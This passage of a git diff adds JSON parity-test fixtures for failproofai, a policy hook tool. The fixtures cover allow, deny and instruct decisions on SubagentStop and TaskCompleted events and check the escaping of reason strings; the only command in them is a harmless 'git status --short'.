"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b657ce80 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0f7298eb --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..fbfb0593 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b15a3ac5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cd5e69e3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2cefc1c5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ca0d6def --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f587d24f --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..abf5a364 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ccfa6552 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ce56e809 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..39b4825c --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d9e33ce4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..42a2ccca --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..de7ff017 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e94f5525 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..99616962 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5efadf50 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + 